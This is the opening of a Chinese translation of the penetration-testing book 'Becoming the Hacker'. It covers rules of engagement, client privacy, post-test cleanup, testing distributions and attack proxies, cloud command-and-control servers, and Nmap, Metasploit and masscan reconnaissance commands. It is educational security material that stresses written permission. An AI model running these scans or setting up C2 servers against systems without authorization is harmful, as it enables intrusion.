成为黑客(一)
原文:
annas-archive.org/md5/9fadb2f604e1f2d04b94fdb65f3aa33c译者:飞龙
序言
成为黑客 将教你如何以攻击者的心态进行网络渗透测试。虽然测试网页应用的性能是常见的,但不断变化的威胁格局使得安全测试对防守方而言更具挑战。
有许多网页应用工具声称能够提供对潜在威胁的完整调查和防御,但它们必须根据每个网页应用或服务的安全需求进行分析。我们必须了解攻击者如何接近网页应用以及突破其防御的影响。
在本书的第一部分,Adrian Pruteanu 带领你走过常见的漏洞,并展示如何利用它们达到目标。书的后半部分则转换视角,将新学到的技术付诸实践,讲解在目标可能是流行的内容管理系统或容器化应用及其网络的场景下的攻击方法。
成为黑客 是一本从攻击者角度讲解网页应用安全的清晰指南,双方都能从中受益。
本书的读者对象
读者应该具备基本的安全经验,例如通过运行网络或在应用开发过程中遇到安全问题。正规安全教育有帮助,但并非必要。本书适合至少有两年开发、网络管理或 DevOps 经验的人,或对安全有浓厚兴趣的人。
本书的内容
第一章, 攻击网页应用入门,介绍了我们在渗透测试过程中必须遵循的工具、环境和基本的 ROE(规则)。我们还会看看渗透测试者的工具箱,并探讨云作为网页渗透测试者的新兴工具。
第二章, 高效发现,带你走一段提升信息收集效率的旅程,专注于如何提高对目标的情报收集效率。
第三章, 低悬果实,阐明、强调并利用了一个事实:对于防守者而言,要始终正确地进行安全防护是非常困难的,许多简单的漏洞经常会被忽视。
第四章, 高级暴力破解,详细讨论了暴力破解,并探索了几种在进行暴力攻击时如何保持低调的技巧。
第五章, 文件包含攻击,帮助你探索文件包含漏洞。我们还将研究几种方法,利用应用程序底层的文件系统为我们所用。
第六章, 非带外利用,讨论了非带外发现、应用漏洞的利用,以及在云环境中设置命令与控制基础设施。
第七章, 自动化测试,帮助你自动化漏洞利用,包括使用 Burp 的 Collaborator 功能简化非带外发现过程。
第八章, 不良序列化,详细讨论了反序列化攻击。我们将深入探讨这种漏洞类型,并研究实际的攻击方法。
第九章, 实用客户端攻击,涵盖了与客户端攻击相关的信息。我们会讨论三种类型的 XSS:反射型、存储型和 DOM 型,另外还涉及 CSRF,并将这些攻击结合起来进行分析。同时,我们还会介绍 SOP 以及它如何影响加载第三方内容或攻击代码到页面上。
第十章, 实用服务器端攻击,带你通过 XML 攻击服务器,并利用 SSRF 来链接攻击,从而进一步渗透网络。
第十一章, 攻击 API,专注于 API 的测试与攻击。到目前为止你所学到的所有技能都将在本章中派上用场。
一台运行 Kali 或你选择的渗透测试发行版的虚拟机或主机将帮助你快速启动,尝试书中提到的一些场景。
第十三章, 容器安全破解,帮助你了解如何在部署之前安全地配置 Docker 容器,并以一个被攻破的容器化 CMS 为例,展示如何导致另一个容器漏洞,从而导致主机完全被攻破。
为了最大限度地从本书中获益
-
你应该具备操作系统的基础知识,包括 Windows 和 Linux。我们将在本书中大量使用 Linux 工具和 Shell 环境,因此对该环境的熟悉程度非常理想。
-
一些脚本知识肯定会有所帮助,但不是必需的。Python、JavaScript 和一些 PHP 代码将在本书中出现。
-
我们将探索云中的命令与控制服务器,并强烈建议你在主要服务提供商上创建一个免费账户,以便跟随本书中的示例进行操作。
-
第十二章, 攻击 CMS,探讨了如何攻击 CMS 并深入分析其漏洞。
-
我们常常从 GitHub 上的开源项目下载代码,虽然深入了解 Git 肯定会有所帮助,但它并不是必需的。
下载示例代码文件
你可以通过 www.packt.com 账户下载本书的示例代码文件。如果你在其他地方购买了本书,你可以访问 www.packt.com/support 注册,直接将文件通过电子邮件发送给你。
你可以按照以下步骤下载代码文件:
-
请在
www.packt.com登录或注册。 -
选择支持选项卡。
-
点击代码下载和勘误表。
-
在搜索框中输入书名,并按照屏幕上的说明操作。
文件下载后,请确保使用最新版本的以下工具解压或提取文件:
-
适用于 Windows 的 WinRAR / 7-Zip
-
适用于 Mac 的 Zipeg / iZip / UnRarX
-
适用于 Linux 的 7-Zip / PeaZip
本书的代码包也托管在 GitHub 上,网址为 github.com/PacktPublishing/Becoming-the-Hacker。如果代码有更新,它将被更新到现有的 GitHub 仓库中。
我们还提供了来自丰富书籍和视频目录的其他代码包,地址为 github.com/PacktPublishing/。快去看看吧!
下载彩色图片
我们还提供了一份包含书中截图/图表的彩色图像的 PDF 文件。你可以在此下载:www.packtpub.com/sites/default/files/downloads/9781788627962_ColorImages.pdf。
使用的约定
本书中使用了许多文本约定。
CodeInText:表示文本中的代码词汇、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账户名。例如:“将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。”
代码块将以以下格式设置:
[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
exten => s,102,Voicemail(b100)
exten => i,1,Voicemail(s0)
当我们希望引起你对代码块中特定部分的注意时,相关行或项会以粗体显示:
[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
**exten => s,102,Voicemail(b100)**
exten => i,1,Voicemail(s0)
所有命令行输入或输出都将以以下格式显示:
# cp /usr/src/asterisk-addons/configs/cdr_mysql.conf.sample
/etc/asterisk/cdr_mysql.conf
粗体:表示一个新术语、一个重要单词,或者是你在屏幕上看到的词语,例如菜单或对话框中的词语,也以这种方式出现在文本中。例如:“从管理面板中选择系统信息。”
注释
警告或重要提示将以这种方式显示。
提示
提示和技巧将以这种方式显示。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何方面有疑问,请在邮件主题中提及书名,并通过customercare@packtpub.com与我们联系。
勘误:尽管我们已经尽力确保内容的准确性,但错误难免。如果您在本书中发现了错误,我们将非常感激您向我们报告。请访问,www.packt.com/submit-errata,选择您的书籍,点击“勘误提交表格”链接,并填写相关信息。
盗版:如果您在互联网上发现任何我们作品的非法复制版本,请提供该地址或网站名称,我们将非常感激。请通过copyright@packt.com与我们联系,并附上相关材料的链接。
如果您有意成为作者:如果您在某个领域具有专业知识并且有兴趣撰写或参与撰写书籍,请访问 authors.packtpub.com。
评价
请留下您的评价。在您阅读并使用本书后,为什么不在您购买本书的网站上留下一个评价呢?潜在的读者可以看到并参考您客观的意见来做出购买决策,我们在 Packt 也可以了解您对我们产品的看法,而我们的作者也可以看到您对他们书籍的反馈。谢谢!
如需了解更多关于 Packt 的信息,请访问 packt.com。
第一章:Web 应用程序攻击概述
Web 应用程序无处不在。它们是社会结构的一部分,我们在生活的许多方面都依赖它们。如今,它们易于开发、快速部署,并且任何拥有互联网连接的人都能访问。
用于帮助开发和部署 Web 应用程序的技术也大爆发。每天都会发布增强功能和可用性的新框架。公司已经将权力交给了开发人员,使他们更加敏捷,并能快速生产 Web 应用程序。
以下图表展示了目前在应用程序开发领域风靡一时的更流行的开发环境和框架。Node.js 将浏览器客户端脚本语言 JavaScript 带到了服务器端,并配有大量模块库,帮助快速开发应用程序。曾经仅在浏览器中使用的脚本语言 JavaScript,现在在客户端通过 React 和 Angular 得到了极大的增强,并且通过 Electron 和 Chromium 等工具,甚至可以进行跨平台开发:
图 1.1:自从 Netscape 在网上占据主导地位以来,世界发生了变化,这张图仅展示了当今主导 Web 的一些技术
GitHub 已经成为开源库、应用程序以及开发人员可能希望与世界分享的任何东西的一站式商店。任何人都可以上传他们想要的内容,其他人可以通过推动代码更改或通过分叉现有的代码库并继续本地开发来进行协作。GitHub 当然不是唯一的,还有类似的仓库供 Node.js、Python 和 PHP 模块使用。
开发人员的关注点始终是尽快推出产品,无论是营销部门使用的内部 Web 应用程序中的简单功能实现,还是最新最强大的 Web 银行界面。支持这些应用程序的基础设施也在不断发展,开发人员在将安全性集成到工作流程中时常常遇到困难。然而,影响安全应用程序开发的原因并不总是无知。更常见的是,时间限制和截止日期是罪魁祸首。
本书的目标是展示攻击者如何看待 Web 应用程序,以及他们如何利用应用程序代码和基础设施中的弱点。我们将讨论在开发过程中常见的错误,这些错误通常会被用来获取有意义的访问权限。我们将探讨实际的攻击案例,并最大限度地利用常见的应用程序漏洞。
对您的知识水平有一些假设。为了从阅读本书中获得最大价值,您应具备基本的应用程序安全知识。读者不必成为渗透测试或应用程序安全领域的专家,但应了解跨站脚本(XSS)或SQL 注入(SQLi)攻击是什么。我们不会为 XSS 的标准“Hello World”示例单独设立一章,但我们会展示利用这种漏洞的影响。读者还应熟悉 Linux 命令行和常见的控制台工具,如curl、git和wget。一定程度的编程知识对理解有所帮助,但并非硬性要求。
本章将涵盖以下主题:
-
进行测试时的典型参与规则
-
测试工具包
-
攻击代理
-
云如何帮助应对参与
参与规则
在继续进行有趣的内容之前,重要的是始终记住在进行攻击时的参与规则(ROE)。ROE 通常在参与前的工作声明(SoW)中列出,所有测试人员必须遵守。这些规则列出了对测试人员的期望,并设定了在参与过程中可以执行的某些限制。
虽然典型渗透测试的目标是模拟实际攻击并找到基础设施或应用程序中的弱点,但存在许多限制,而且这些限制有其合理性。我们不能像真正的对手那样大肆破坏,造成比实际攻击者更多的损害。目标(客户),无论是第三方还是内部团队,都应该感到舒适,允许专业的黑客对其应用程序进行攻击。
沟通
良好的沟通是成功参与的关键。启动和结束会议对双方都极为宝贵。客户应清楚了解是谁在执行该项目,并知道如何在紧急情况下与其或其备用人员取得联系。
启动会议是检查测试所有方面的机会,包括审查项目范围、系统的重要性、提供的凭证以及联系信息。幸运的话,所有这些信息都应该已经包含在范围文档中。该文档的目的是明确概述在此次参与期间需要测试的基础设施或应用程序部分。范围可以是 IP 范围、应用程序、特定域名或 URL 的组合。通常,客户会提前很久就参与编写此文档,以便在测试开始之前确认。然而,事情可能会发生变化,启动会议是最后一次核对所有内容的好时机。
启动会议中需要澄清的有用问题如下:
-
自上次文档修订以来,范围是否有变化?目标列表是否有更动?是否需要避免应用程序或网络的某些部分?
-
是否有必须遵守的测试时间窗口?
-
目标应用程序是在生产环境中还是在开发环境中?它们是面向客户的还是仅限内部使用?
-
紧急联系方式是否仍然有效?
-
如果提供了凭证,它们是否仍然有效?现在是时候再次检查这些了。
-
是否存在可能妨碍测试的应用防火墙?
目标通常是测试应用程序,而不是第三方防御措施。渗透测试人员有截止日期,而恶意行为者则没有。
提示
在测试应用程序漏洞时,建议要求客户将任何第三方Web 应用防火墙(WAFs)中的 IP 地址列入白名单。WAF 会检查到达受保护应用程序的流量,并丢弃与已知攻击特征或模式匹配的请求。一些客户可能会选择保持 WAF 在强制模式下,因为他们的目标可能是模拟现实中的攻击。这时,你应该提醒客户,防火墙可能会引入评估实际应用程序的延迟,因为测试人员可能需要花费额外的时间尝试规避防御。此外,由于大多数工作都有时间限制,最终报告可能无法准确反映应用程序的安全状态。
提示
没有经理愿意听到他们的关键应用程序在测试期间可能会下线,但这种情况偶尔确实会发生。一些应用程序无法承受简单扫描增加的工作负荷,可能会发生故障转移。某些有效负载也可能破坏设计不当的应用程序或基础设施,导致生产力骤然停滞。
提示
如果在测试过程中,应用程序变得无响应,最好尽快联系主要联系人,尤其是当应用程序是关键生产系统时。如果客户无法通过电话联系到,至少要发送电子邮件提醒。
结束会议或事后总结同样非常重要。一项特别成功的工作,发现了大量关键问题,可能会让测试人员感觉很棒,但客户可能会感到尴尬,因为他们必须向上级解释结果。此时,与客户会面,逐一回顾每个发现,并清晰地解释安全漏洞是如何发生的以及可以采取什么措施来修复它。时刻记住受众,用通俗的语言传达关切,而不是指责或讽刺任何相关方。
隐私考虑
涉及任何类型社会工程学或人际互动的工作,如钓鱼演练,应该谨慎处理。钓鱼攻击试图诱使用户点击电子邮件链接,访问一个凭证盗窃者,或打开恶意附件,一些员工可能会对以这种方式被利用感到不安。
在发送钓鱼邮件之前,例如,测试人员应确认客户是否愿意让他们的员工在不知情的情况下参与此次测试。这应当以书面形式记录,通常会写入《工作说明书》(SoW)中。启动会议是与客户同步期望的一个好机会。
除非获得客户的明确书面许可,否则避免以下操作:
-
不要进行可能被认为是不道德的社会工程攻击,例如,利用获取的目标家庭信息诱使他们点击链接。
-
不要外泄医疗记录或敏感的用户数据。
-
不要截取用户机器的屏幕截图。
-
不要将凭据发送到用户的个人电子邮件、社交媒体或其他帐户。
注意
一些网络攻击,如 SQL 注入或XML 外部实体(XXE)攻击,可能导致数据泄漏,在这种情况下,应该尽快通知客户该漏洞,并安全销毁已下载的任何内容。
尽管大多数测试都在保密协议(NDA)下进行,但应尽量避免处理敏感数据。完成测试后,保存医疗记录或信用卡信息几乎没有理由,事实上,保留这些数据可能会使客户违反法规合规要求,甚至可能是非法的。这类数据通常不会在尝试利用其他应用程序时提供任何杠杆。当在最终报告中列入证据时,必须格外小心,确保证据已清理干净,并且只包含足够的上下文来证明发现。
“数据是一种有毒资产。我们需要开始像对待任何其他有毒源一样看待它,并以此方式处理它。否则,我们就冒着风险,威胁到我们的安全和隐私。”
- 布鲁斯·施奈尔
以上引用通常针对那些在私人用户数据处理上存在可疑做法的公司,但对测试人员同样适用。我们经常在测试中接触到敏感数据。
清理工作
成功的渗透测试或应用评估无疑会留下许多活动的痕迹。日志条目可能会显示入侵是如何发生的,Shell 历史文件也能提供攻击者如何横向移动的线索。然而,留下痕迹也有好处。防御方,也被称为蓝队,可以在测试期间或测试后分析这些活动,并评估其防御效果。日志条目提供了有关攻击者如何绕过系统防御、执行代码、外泄数据或其他突破网络的宝贵信息。
有许多工具可以在利用后清除日志,但除非客户明确允许这些操作,否则应避免这种做法。有些情况下,蓝队可能想测试其安全信息与事件监控(SIEM)基础设施的韧性(即集中日志收集与分析系统),因此清除日志可能在范围内,但必须在项目文档中明确允许。
尽管如此,仍有一些遗留物在项目完成后几乎应该完全从系统或应用数据库中移除。这些遗留物可能会使客户暴露于不必要的风险中,即使他们已经修补了漏洞:
-
提供操作系统(OS)访问的 Web Shell
-
恶意软件投放器、反向 Shell 和特权提升漏洞有效载荷
-
通过 Tomcat 部署的 Java 小程序形式的恶意软件
-
被修改或后门化的应用程序或系统组件:
- 示例:用竞争条件 root 漏洞覆盖密码二进制文件,并且在离开系统之前没有恢复备份
-
存储的 XSS 有效载荷:这可能对生产系统中的用户造成困扰
并非所有在测试中引入的恶意软件都能被测试人员移除。清理工作需要联系客户。
提示
记录所有在评估中使用的恶意文件、路径和有效载荷。在项目结束时,尽可能地移除它们。如果有任何遗留,告知主要联系人,并提供详细信息,强调移除这些遗留物的重要性。
提示
给有效载荷标记唯一的关键字有助于在清理过程中识别虚假数据,例如:“请删除任何包含关键字:2017Q3TestXyZ123 的数据库记录。”
一封确认客户已移除任何残留恶意软件或遗留物的后续邮件,是一种提醒,并且总是受欢迎的。
测试人员的工具包
渗透测试工具因专业人员而异。工具和技术每天都在发展,你必须跟上进度。虽然几乎不可能列出涵盖所有场景的完整工具清单,但有一些经过验证的程序、技术和环境无疑能帮助任何攻击者实现目标。
Kali Linux
以前被称为BackTrack,Kali Linux多年来一直是渗透测试人员的首选 Linux 发行版。很难否定它的价值,因为它几乎包含了进行应用程序和网络评估所需的所有工具。Kali Linux 团队还定期更新,不仅保持操作系统的更新,也更新攻击工具。
Kali Linux 部署非常方便,几乎可以在任何地方使用,并且有多种格式。包括 32 位和 64 位版本、便携虚拟机包,甚至有在 Android 操作系统上运行的版本:
图 1.2:Kali Linux 屏幕的全新实例
Kali Linux 的替代品
Kali Linux 的一个替代或补充方案是 渗透测试框架 (PTF),由 TrustedSec 团队开发,使用 Python 编写。它是一个模块化框架,允许您将自己选择的 Linux 环境转变为渗透测试工具集。PTF 已经有数百个模块可以使用,并且可以快速创建新的模块。PTF 还可以在 Kali 上运行,快速将现有工具集中在一个位置。
图 1.3:PTF 交互式控制台
另一个成熟的 Kali Linux 替代品是 BlackArch,它是基于 Arch Linux 的一个发行版,包含了许多与其他渗透测试发行版捆绑的工具。BlackArch 包含了许多测试人员熟悉的工具,用于网络测试或应用评估,并且像 Kali Linux 一样,定期更新。对于 Arch Linux 爱好者来说,这是一个备受欢迎的替代 Debian 系统的 Kali 发行版。
图 1.4:BlackArch 主界面
BlackArch 可以通过 blackarch.org 以多种格式下载。
攻击代理
在测试应用程序时,流量操控和记录是非常宝贵的。市场上的主要工具也是可扩展的,允许研究人员社区通过免费的附加组件来提升功能。构建良好并且得到支持的代理是攻击者武器库中的强大武器。
Burp Suite
Burp Suite 无疑是攻击代理领域的王者。它可以直接拦截、修改、重放和记录流量。Burp Suite 非常可扩展,拥有强大的社区插件,可以与 sqlmap(事实上的 SQLi 利用工具)集成,自动测试权限提升,提供其他有用的模块:
-
代理:即时记录、拦截并修改请求
-
蜘蛛:具有强大爬取能力的内容发现工具
-
解码器:快速解码加密数据
-
入侵者:一个高度可定制的暴力破解模块
-
重放器:允许重放任何先前记录的请求,并可以修改请求的任何部分
-
扫描器(仅限专业版):一个漏洞扫描器,集成了 Burp 合作者,用于发现隐蔽漏洞
-
合作者:帮助发现传统扫描器通常会忽略的隐蔽漏洞
Burp Suite 有一个免费版本,但该产品的专业版非常值得投资。虽然免费版完全可以用于快速测试,但它确实存在一些限制。特别是,入侵者模块有时间限制,使其无法用于大负载的攻击。扫描器模块也仅在专业版中提供,并且值得购买。扫描器能够快速找到易于攻击的目标,甚至自动利用 Collaborator 查找带外漏洞。免费版仍然可以拦截、检查和重放请求,并且可以警告其被动检测到的任何漏洞。
图 1.5:Burp Suite 免费版主界面
Zed 攻击代理
OWASP 的Zed 攻击代理(ZAP)是另一个非常优秀的攻击代理。它具有可扩展性且易于使用。然而,它缺少 Burp Suite 的一些功能;例如,ZAP 没有 Burp Suite Pro 那样全面的主动漏洞扫描功能,也没有像 Collaborator 那样的自动化带外漏洞发现系统。
然而,ZAP 版本的入侵者模块没有时间限制,所有功能都可以开箱即用。ZAP 是开源的,并且由数百名志愿者积极维护。
图 1.6:ZAP 主界面
云基础设施
在进行评估时,攻击者通常会在攻防过程中利用指挥与控制(C2)服务器。大多数 C2 服务器的目的是向受感染环境内的恶意软件发出指令。
攻击者可以指示恶意软件窃取数据、启动键盘记录器、执行任意命令或 Shellcode,等等。在后续章节中,我们将主要使用云 C2 服务器来提取数据并发现带外漏洞。
C2 服务器由于可以从任何地方访问,因此在任何攻防活动中都非常灵活。云平台是托管 C2 基础设施的理想场所。它可以快速且可编程地部署,并且可以从全球任何地方访问。一些云服务提供商甚至支持 HTTPS,允许快速搭建 C2 服务器,而无需担心购买和管理域名或证书。
渗透测试人员的热门选择是亚马逊网络服务(AWS),它是云服务领域的领导者。其服务价格相对便宜,并且提供入门免费层选项。
其他可行的云服务提供商包括:
-
微软 Azure:
portal.azure.com -
谷歌云平台:
cloud.google.com -
DigitalOcean:
www.digitalocean.com -
Linode:
www.linode.com
微软的 Azure 提供了一项 软件即服务(SaaS)免费层功能,让你可以从 GitHub 仓库自动部署 C2。它还原生支持 HTTPS,使得隐藏 C2 数据不易被窥探,并能与正常的用户流量混合。
注意
在使用云提供商的基础设施进行评估之前,始终获得书面许可!即使只是简单地在临时虚拟机上托管一个恶意 JavaScript 文件,也需要事先得到授权。
云 互联网服务提供商(ISPs)应该提供一个表格,让你填写即将进行的渗透测试的详细信息,包括测试窗口和联系方式。
无论我们是使用云平台来部署一个 C2 进行渗透测试,还是攻击云平台上托管的应用程序,我们都应该始终通知客户与渗透测试相关的活动。
图 1.7:典型的渗透测试通知表格
资源
查阅以下资源,了解更多渗透测试工具和技术:
-
Penetration Testers Framework(PTF):
github.com/trustedsec/ptf -
BlackArch:
blackarch.org -
Burp Suite:
portswigger.net/burp/ -
OWASP ZAP:
www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project -
Amazon Web Services:
aws.amazon.com -
Microsoft Azure:
portal.azure.com -
Google Cloud Platform:
cloud.google.com -
DigitalOcean:
www.digitalocean.com -
Linode:
www.linode.com
练习
完成以下练习,以更好地熟悉黑客工具集以及我们在本书中将使用的工具:
-
下载并安装你首选的渗透测试发行版:Kali 或 BlackArch,或者使用 PTF 进行尝试。
-
使用 Burp Suite 免费版或 ZAP 截获、检查并修改流量,访问你最喜欢的网站。
-
在你选择的云计算提供商上创建一个免费账户,并使用其免费层启动一个 Linux 虚拟机实例。
概要
在本章中,我们回顾了工具、环境以及我们在进行渗透测试时必须遵循的最基本的行为准则(ROE)。我们强调了沟通的重要性,以及在测试过程中考虑客户隐私的关键性。我们不是坏人,不能为所欲为。我们还讨论了清理过程,确保我们不留下任何遗留物,除非客户另有要求。我们的遗留 Shell 不应成为未来漏洞攻击的根源。
我们还介绍了渗透测试人员的工具包;一款集成的 Linux 发行版——Kali;以及它的一些替代品。对于 Web 应用黑客来说,最重要的工具之一无疑是攻击代理,我们重点介绍了其中的两款:Burp Suite 和 ZAP。最后,我们提到了云作为 Web 应用测试者的一个新兴有用工具。
攻击者的工作永远比防御者的工作更容易。任何一位有企业世界经验的专业黑客都会证明这一点。攻击者只需要链条中的一个弱点——即使这个弱点是暂时的——就能完全控制环境。
安全性第一次做对是很难的,而随着时间的推移,要保持它接近基准线更是困难。经常会出现资源不足、知识缺乏或优先级错误的问题,包括简单的为了让组织盈利。应用程序必须是可用的——它们必须可用并提供功能增强,才能有用。似乎总是没有足够的时间来正确地测试代码,更别提测试安全漏洞了。
员工流动也可能导致经验不足的开发人员提交未经充分测试的代码。安全团队通常会忙于处理日常事件,更别提有时间处理安全代码审查了。没有万能的解决方案可以进行安全性测试,预算中也很少有足够的资金。这个难题有许多方面,许多因素会阻碍应用程序及其基础设施的完全安全。
这就是理解这些限制的专业黑客能够大显身手的地方。通过对服务器的 Shell 访问,黑客可以寻找潜在的权限提升漏洞,尝试让它工作,经过一些反复试验后,获得完全访问权限。或者,可以利用服务器间通信是系统管理员常见需求这一事实。这意味着服务器之间的连接要么没有密码,要么密码存储在某个靠近的位置。发现未受保护的私钥存放在全局可读的目录中,允许访问基础设施中的所有其他服务器并不罕见。安全外壳协议(SSH)私钥,通常用于自动化 SSH 连接,通常没有密码保护,因为为私钥设置密码会破坏使用它的自动化脚本。
在接下来的章节中,我们将利用这些关于应用开发和部署的不幸事实,转化为我们的优势。
第二章 高效发现
内容发现和信息收集通常是攻击应用程序的第一步。目标是在最短的时间内尽可能多地了解应用程序。时间是我们没有的奢侈品,我们必须充分利用有限的资源。
效率也可以帮助我们在攻击应用程序时保持稍微安静一些。智能词汇表将减少我们向服务器发出的请求数量,并更快地返回结果。这不是万灵药,但它是一个很好的起点。
在本章中,我们将涵盖以下主题:
-
不同类型的渗透测试参与
-
使用各种网络和 Web 扫描仪进行目标映射
-
高效的暴力破解技术
-
多语言有效载荷
评估类型
根据与客户在参与之前的协议,你可能已经拥有所需的部分信息、大量信息,或者根本没有任何信息。白盒测试允许对应用程序进行彻底检查。在这种情况下,攻击者基本上拥有与开发者相同的访问权限。他们不仅有经过身份验证的访问权限,而且还可以访问源代码、任何设计文档以及他们需要的任何其他资源。
白盒测试通常由内部团队执行,且相当耗时。测试人员会获得他们评估应用程序或基础设施所需的所有信息。提供这种知识水平的好处是,测试人员可以查看应用程序的每一部分,检查是否存在漏洞。这是外部攻击者所没有的奢侈品,但它确实能在参与过程中有效利用有限的时间和资源。
灰盒场景更为常见,因为它们提供了足够的信息,使测试人员能够直接开始探测应用程序。客户可能会提供凭据以及一些关于基础设施或应用程序设计的信息,但不会提供更多。这里的思路是客户假设恶意行为者已经获得了某种程度的访问权限或知识,客户需要了解还能够造成多少更大的破坏。
最后,黑盒测试将模拟从外部人员的角度发起的攻击,攻击者对应用程序或基础设施一无所知。公开应用程序到互联网的公司通常会受到外部威胁的持续攻击。虽然重要的是要记住,并非所有恶意行为者都是外部人员,因不满的员工也可能造成同样的破坏,但恶意的黑盒类型攻击相对常见,且可能造成严重损害。
以下是三种常见的应用程序渗透测试类型的细分:
| 白盒 | 灰盒 | 黑盒 |
|---|---|---|
| 攻击者可以访问所有所需信息。 | 有部分信息可用。 | 完全不了解。 |
| 以最高权限进行测试,即具有开发者知识的测试。 | 从已具备一定访问权限或知识的威胁角度进行测试。 | 从外部威胁角度进行测试。 |
| 可用的典型信息包括以下内容:
-
用户账户
-
源代码
-
基础设施设计文档
-
目录列表
| 向攻击者提供一些信息:
-
用户账户
-
高级文档
攻击者通常无法访问源代码或其他敏感信息
| 未提前提供任何信息,攻击者必须通过开源情报(OSINT)或导致信息泄漏的漏洞收集所需的所有信息。 |
|---|
注意
在本书的其余部分,我们将从更接近灰盒测试的角度接近我们的目标,模拟典型的渗透测试过程。
目标映射
对整个端口范围进行传统的 nmap 扫描并进行服务发现,总是收集目标信息的一个好方法。Nmap 是选择的网络扫描工具,已经使用多年。它仍然非常强大且相关。它可用于大多数平台,包括 Kali、BlackArch,甚至是 Windows。
Metasploit Framework(MSF)是渗透测试框架,通常由安全专业人员使用。除了是一个易于交付的漏洞利用工具集外,它还可以帮助组织渗透测试过程。特别是在目标映射方面,你可以利用工作区功能,并将 Nmap 扫描结果整齐地存储在数据库中。
如果 Kali Linux 实例是新安装的,或者 Metasploit 最近安装过,数据库可能需要一些启动操作才能正常运行。
在 Kali 控制台提示符下,使用service命令启动PostgreSQL服务。如果成功,则不应返回任何消息:
**root@kali:~# service postgresql start**
**root@kali:~#**
然后,可以使用msfconsole命令启动 Metasploit,这将使我们进入一个子提示符,提示符前缀是msf,而不是传统的 bash 提示符:
root@kali:~# **msfconsole**
[...]
msf > **db_status**
[*] postgresql selected, no connection
msf >
上述命令序列将启动 PostgreSQL 数据库服务,Metasploit 使用它来进行存储。Metasploit 控制台会启动,我们可以使用 MSF 的db_status命令检查数据库状态。
我们可以使用exit命令返回到 bash 终端:
msf > **exit**
root@kali:~#
现在,我们可以使用 Metasploit 的msfdb命令来帮助我们初始化(init)数据库:
root@kali:~# **msfdb init**
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in **/usr/share/metasploit-framework/config/database.yml**
Creating initial database schema
root@kali:~#
msfdb命令会创建所有必要的配置文件,供 Metasploit 连接到数据库。我们再次可以通过在 Linux 提示符下使用msfconsole命令启动 Metasploit 控制台:
root@kali:~# **msfconsole**
[...]
msf >
使用msfdb init命令创建的 YML 数据库配置文件,可以与-y开关一起传递给db_connect Metasploit 控制台命令:
msf > **db_connect -y /usr/share/metasploit-framework/config/database.yml**
[*] Rebuilding the module cache in the background...
msf > db_status
[*] postgresql connected to msf
msf >
我们现在可以为目标应用程序创建一个工作区,这将帮助我们组织来自不同 MSF 模块、扫描或漏洞利用的结果:
msf > workspace -a **target1**
[*] Added workspace: target1
msf > workspace
default
*** target1**
workspace 命令不带任何参数时将列出可用的工作区,并用星号标记当前活动的工作区。此时,我们可以在 MSF 内部启动 Nmap 扫描。db_nmap MSF 命令是 Nmap 扫描工具的一个封装。不同之处在于,扫描结果会被解析并存储在 Metasploit 数据库中,便于浏览。
MSF 的 db_nmap 接受与正常的 nmap 相同的选项。在以下示例中,我们正在扫描常见端口并查询正在运行的服务。
此次扫描的目标是一个内部主机,10.0.5.198。我们指示 Nmap 执行服务扫描(-sV),并且不对主机进行 ping 测试(-Pn),同时使用详细输出(-v):
msf > **db_nmap -sV -Pn -v 10.0.5.198**
[...]
[*] Nmap: Scanning 10.0.5.198 [1000 ports]
[*] Nmap: Discovered open port 3389/tcp on 10.0.5.198
[*] Nmap: Discovered open port 5357/tcp on 10.0.5.198
[*] Nmap: Completed SYN Stealth Scan at 19:50, 12.05s elapsed (1000 total ports)
[*] Nmap: Initiating Service scan at 19:50
[...]
扫描完成后,结果可以通过 services 命令进行查询和筛选。例如,我们可以使用 -s 选项查找所有发现的 HTTP 服务:
**msf > services -s http**
**Services**
**========**
**host port proto name state info**
**---- ---- ----- ---- ----- ----**
**10.0.5.198 5357 tcp http open Microsoft HTTPAPI httpd 2.0 SSDP/UPnP**
注意
注意客户提供的范围。有些客户会特别限制应用程序测试在一个端口上,或者有时仅限于一个子域或 URL。此时应当劝告客户不要限制测试者可用的攻击面。
Masscan
Nmap 功能全面,拥有大量的选项和能力,但存在一个问题:速度。对于大型网络段,Nmap 可能非常慢,有时甚至完全失败。在渗透测试中,客户通常会要求在有限的时间内对庞大的 IP 空间进行映射和扫描。
masscan 的最大亮点在于,它可以在大约六分钟内扫描整个互联网的 IP 空间。这是一个令人印象深刻的成就,毫无疑问,它是目前最快的端口扫描器之一。
在进行渗透测试时,我们可能希望优先针对 Web 应用程序进行测试,masscan 可以通过几个简单的选项快速返回所有开放的 Web 端口。
熟悉的 -p 选项可以用来指定一系列端口或端口范围进行查找。--banners 选项将尝试获取任何发现的开放端口的一些信息。对于较大的 IP 空间,时间至关重要时,我们可以使用 --rate 选项指定一个较大的每秒数据包数,如一百万或更多:
图 2.1:对 10.0.0.0/8 网络进行的 masscan 扫描
我们可以看到,之前的扫描由于 Ctrl + C 中断而提前取消,masscan 保存了其进度到 paused.conf 文件中,这使我们能够稍后恢复扫描。要从中断处继续,我们可以使用 --resume 选项,并将 paused.conf 文件作为参数传递:
图 2.2:恢复 masscan 会话
Masscan 的结果可以传递给 Nmap 进行进一步处理,或者传递给 Web 扫描器以进行更深入的漏洞发现。
WhatWeb
一旦通过 masscan 或 Nmap 确定了目标环境中一个或多个 web 应用程序,我们就可以开始深入挖掘。WhatWeb 是一个简单但有效的工具,可以查看特定的 web 应用程序,并识别出开发和运行该应用所使用的技术。它拥有超过 1,000 个插件,能够被动识别从应用上运行的内容管理系统(CMS),到运行整个应用的 Apache 或 NGINX 版本等各种信息。
以下图示展示了对 bittherapy.net 进行的更为激进的(-a 3)WhatWeb 扫描。所示的 sed 命令将格式化输出,使其更易阅读:
图 2.3:运行 WhatWeb 并过滤结果
三级激进扫描将进行更多的请求,以帮助提高结果的准确性。
WhatWeb 可在 Kali Linux 和大多数其他渗透测试发行版上使用。也可以从 github.com/urbanadventurer/WhatWeb 下载。
Nikto
